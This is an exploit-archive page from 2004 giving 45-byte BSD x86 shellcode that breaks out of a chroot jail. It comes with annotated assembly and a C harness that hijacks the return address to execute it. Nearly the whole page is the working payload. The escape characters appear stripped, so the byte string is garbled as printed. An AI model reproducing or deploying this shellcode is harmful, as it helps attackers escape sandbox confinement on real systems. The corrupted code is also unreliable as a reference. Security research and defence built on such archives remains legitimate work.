[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : bsd/x86 break chroot 45 bytes
# Published : 2004-09-26
# Author : Matias Sedalo
# Previous Title : bsd/x86 portbind port random 143 bytes
# Next Title : bsd/x86 execve /bin/sh Crypt /bin/sh 49 bytes
/*
*BSD version
FreeBSD, OpenBSD, NetBSD.
s0t4ipv6@shellcode.com.ar
45 bytes.
-break chrooted
*/
char shellcode[]=
"x68x62x2ex2ex2e" /* pushl $0x2e2e2e62 */
"x89xe7" /* movl %esp,%edi */
"x33xc0" /* xorl %eax,%eax */
"x88x47x03" /* movb %al,0x3(%edi) */
"x57" /* pushl %edi */
"xb0x88" /* movb $0x88,%al */
"x50" /* pushl %eax */
"xcdx80" /* int $0x80 */
"x57" /* pushl %edi */
"xb0x3d" /* movb $0x3d,%al */
"x50" /* pushl %eax */
"xcdx80" /* int $0x80 */
"x47" /* incl %edi */
"x33xc9" /* xorl %ecx,%ecx */
"xb1xff" /* movb $0xff,%cl */
"x57" /* pushl %edi */
"x50" /* pushl %eax */
"xb0x0c" /* movb $0x0c,%al */
"xcdx80" /* int $0x80 */
"xe2xfa" /* loop <shellcode +31> */
"x47" /* incl %edi */
"x57" /* pushl %edi */
"xb0x3d" /* movb $0x3d,%al */
"x50" /* pushl %eax */
"xcdx80"; /* int $0x80 */
main()
{
int *ret;
printf("Shellcode lenght=%dn",sizeof(shellcode));
ret=(int*)&ret+2;
(*ret)=(int)shellcode;
}
// www.Syue.com [2004-09-26]